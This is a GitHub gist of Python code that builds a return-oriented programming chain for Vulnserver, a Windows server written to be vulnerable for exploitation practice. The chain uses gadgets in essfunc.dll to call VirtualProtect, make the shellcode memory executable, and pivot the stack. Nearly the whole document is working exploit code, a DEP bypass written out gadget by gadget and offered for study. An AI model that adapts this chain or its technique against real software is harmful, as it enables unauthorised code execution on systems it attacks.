Skip to content

Instantly share code, notes, and snippets.

@m-q-t
Created September 22, 2023 16:16
Show Gist options
  • Save m-q-t/4eb78075e708dc0ec51f93a96964ee9b to your computer and use it in GitHub Desktop.
Save m-q-t/4eb78075e708dc0ec51f93a96964ee9b to your computer and use it in GitHub Desktop.
vulnserver-portable-rop-chain-virtualprotect
rop = b''
# 0. preserve location of VirtualProtect skeleton in ECX
rop += struct.pack('<L', 0x625021ff) # nop ; mov ecx, eax ; mov eax, ecx ; pop ebx ; pop esi ; ret
rop += struct.pack('<L', 0x41414141) # junk for ebx
rop += struct.pack('<L', 0x41414141) # junk for esi
# 1. override pointers with gadgets
# override 0x625070DC to hold address of pop r32 ; ret gadget
rop += struct.pack('<L', 0x625014fc) # pop ebx ; ret
rop += struct.pack('<L', 0x625070DC) # ebx will be 0x625070DC
rop += struct.pack('<L', 0x625014d5) # pop eax ; ret
rop += struct.pack('<L', 0x625012f7) # pop ebp; ret
rop += struct.pack('<L', 0x62501ea9) # mov [ebx], eax ; mov eax, [esp+0x24] ; mov [ebx+0x04], eax ; call [0x625070DC]
# override 0x62507124 to hold address of pop r32 ; pop ebx ; ret gadget
rop += struct.pack('<L', 0x625014fc) # pop ebx ; ret
rop += struct.pack('<L', 0x62507124) # ebx will be 0x62507124
rop += struct.pack('<L', 0x625014d5) # pop eax ; ret
rop += struct.pack('<L', 0x625014e1) # address of pop ebx ; pop ebx ; ret
# EAX now holds address of pop ebx ; pop ebx ; ret
rop += struct.pack('<L', 0x62501ea9) # mov [ebx], eax ; mov eax, [esp+0x24] ; mov [ebx+0x04], eax ; call [0x625070DC]
# override 0x62507104 to hold address of pop r32 ; ret gadget
rop += struct.pack('<L', 0x625014d5) # pop eax ; ret
rop += struct.pack('<L', 0x625012f7) # pop r32; ret
rop += struct.pack('<L', 0x625014fc) # pop ebx ; ret
rop += struct.pack('<L', 0x62507104) # ebx will be 0x62507104
rop += struct.pack('<L', 0x62501ea9) # mov [ebx], eax ; mov eax, [esp+0x24] ; mov [ebx+0x04], eax ; call [0x625070DC]
# override 0x625070E8 to hold address of leave ; ret gadget
rop += struct.pack('<L', 0x625014d5) # pop eax ; ret
rop += struct.pack('<L', 0x62501573) # leave ; ret (will be important for stack pivot at end)
rop += struct.pack('<L', 0x625014fc) # pop ebx ; ret
rop += struct.pack('<L', 0x625070E8) # ebx will be 0x625070E8
rop += struct.pack('<L', 0x62501ea9) # mov [ebx], eax ; mov eax, [esp+0x24] ; mov [ebx+0x04], eax ; call [0x625070DC]
# 2. retrieve VirtualProtect VMA and move into ESI
# 62507120 VirtualProtect KERNEL32
rop += struct.pack('<L', 0x625012f7) # pop ebp ret
rop += struct.pack('<L', 0x625012f6) # pop edi ; pop ebp ; ret
rop += struct.pack('<L', 0x6250103d) # pop ebx ; ret
rop += struct.pack('<L', 0x62507120) # VirtualProtect IAT
rop += struct.pack('<L', 0x62501e30) # mov eax, [ebx] ; mov [esp+0x00], eax ; call ebp
rop += struct.pack('<L', 0x42424242) # junk to be overwritten by [esp + 0x00]
# preserve VirtualProtect VMA in ESI
rop += struct.pack('<L', 0x62501afb) # pop edi ; ret
rop += struct.pack('<L', 0x62501afb) # pop edi ; ret
rop += struct.pack('<L', 0x62501e3a) # mov esi, eax ; call edi
# * ESI now holds VirtualProtect VMA
# 3. get EBX to point to start of VirtualProtect skeleton
rop += struct.pack('<L', 0x6250219d) # mov eax, ecx ; ret
rop += struct.pack('<L', 0x62501a9d) # mov [esp+0x00], eax ; call [0x62507124]
rop += struct.pack('<L', 0x41414141) # junk will be overwritten by [esp + 0x00]
# 4. overwrite first placeholder with VirtualProtect VMA
rop += struct.pack('<L', 0x62502412) # mov eax, esi ; pop esi ; pop edi ; ret
rop += struct.pack('<L', 0x41414141) # junk for esi
rop += struct.pack('<L', 0x41414141) # junk for edi
rop += struct.pack('<L', 0x62501ea9) # mov [ebx], eax ; mov eax, [esp+0x24] ; mov [ebx+0x04], eax ; call [0x625070DC]
# ! first placeholder overwritten with VirtualProtect VMA
# 5. overwrite the second and third placeholders with the address of the shellcode
rop += struct.pack('<L', 0x625014d5) # pop eax ; ret
rop += struct.pack('<L', 0xffffff40) # 0 - 0xC0 * shellcode is 0xC0 bytes away from EBX at the current point
rop += struct.pack('<L', 0x625016ca) # neg eax ; ret
rop += struct.pack('<L', 0x62501afb) # pop edi ; ret
rop += struct.pack('<L', 0x62501afb) # pop edi ; ret
rop += struct.pack('<L', 0x62501e3a) # mov esi, eax ; call edi
rop += struct.pack('<L', 0x6250221c) # add esi, ebx ; ret
rop += struct.pack('<L', 0x62502412) # mov eax, esi ; pop esi ; pop edi ; ret
rop += struct.pack('<L', 0x41414141) # junk for esi
rop += struct.pack('<L', 0x41414141) # junk for edi
rop += struct.pack('<L', 0x62501eaf) # mov [ebx+0x04], eax ; call [0x625070DC]
# ! second placeholder overwritten with ret address
rop += struct.pack('<L', 0x62501ecd) # mov [ebx+0x08], eax ; call [0x62507104] ; (1 found)
# ! third placeholder overwritten with lpaddress (same as ret address)
# 6. adjust EBX to point to the fourth placeholder in the skeleton
rop += struct.pack('<L', 0x625014d5) # pop eax ; ret
rop += struct.pack('<L', 0xfffffff4) # 0 - 0x0c
rop += struct.pack('<L', 0x625016ca) # neg eax ; ret
rop += struct.pack('<L', 0x62501afb) # pop edi ; ret
rop += struct.pack('<L', 0x62501afb) # pop edi ; ret
rop += struct.pack('<L', 0x62501e3a) # mov esi, eax ; call edi
rop += struct.pack('<L', 0x6250221c) # add esi, ebx ; ret
# ESI now points to fourth placeholder in the skeleton
rop += struct.pack('<L', 0x62502412) # mov eax, esi ; pop esi ; pop edi ; ret
rop += struct.pack('<L', 0x41414141) # junk for esi
rop += struct.pack('<L', 0x41414141) # junk for edi
# EAX now points to fourth placeholder in the skeleton
rop += struct.pack('<L', 0x62501a9d) # mov [esp+0x00], eax ; call [0x62507124]
rop += struct.pack('<L', 0x41414141) # junk will be overwritten by [esp + 0x00]
# EBX now points to fourth placeholder in the skeleton
# 7. overwrite fourth placeholder with dwsize (0x01)
rop += struct.pack('<L', 0x625014d5) # pop eax ; ret
rop += struct.pack('<L', 0xFFFFFFFF) # junk
rop += struct.pack('<L', 0x625016ca) # neg eax ; ret
rop += struct.pack('<L', 0x62501ea9) # mov [ebx], eax ; mov eax, [esp+0x24] ; mov [ebx+0x04], eax ; call [0x625070DC]
#! fourth placeholder overwritten with dwsize (0x01)
# 8. overwrite fifth placeholder with flNewProtect (0x40)
rop += struct.pack('<L', 0x625014d5) # pop eax ; ret
rop += struct.pack('<L', 0xffffffc0) # 0 - 0x40
rop += struct.pack('<L', 0x625016ca) # neg eax ; ret
rop += struct.pack('<L', 0x62501eaf) # mov [ebx+0x04], eax ; call [0x625070DC]
# ! fifth placeholder overwritten with flNewProtect (0x40)
# 9. overwrite sixth placeholder with lpflOldProtect (needs to be a pointer to a valid address
rop += struct.pack('<L', 0x625014d5) # pop eax ; ret
rop += struct.pack('<L', 0x625070E4) # known valid pointer as a call is made to it in a gadget found in essfunc.dll
rop += struct.pack('<L', 0x62501ecd) # mov [ebx+0x08], eax ; call [0x62507104] ; (1 found)
# 10. adjust skeleton to point to the first placeholder - 0x04 (to account for the 0x04 bytes that will be popped off during the leave instruction)
rop += struct.pack('<L', 0x625014d5) # pop eax ; ret
rop += struct.pack('<L', 0xfffffff0) # 0 - 0x10
rop += struct.pack('<L', 0x62501afb) # pop edi ; ret
rop += struct.pack('<L', 0x62501afb) # pop edi ; ret
rop += struct.pack('<L', 0x62501e3a) # mov esi, eax ; call edi
rop += struct.pack('<L', 0x6250221c) # add esi, ebx ; ret
rop += struct.pack('<L', 0x62502412) # mov eax, esi ; pop esi ; pop edi ; ret
rop += struct.pack('<L', 0x41414141) # junk for esi
rop += struct.pack('<L', 0x41414141) # junk for edi
# ! EAX now points to start of skeleton - 0x04
# 11. stack pivot
rop += struct.pack('<L', 0x625017c0) # mov ebp, eax ; call [0x625070E8] ; (1 found)
# 0x625070E8 points to leave ; ret gadget
return rop
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment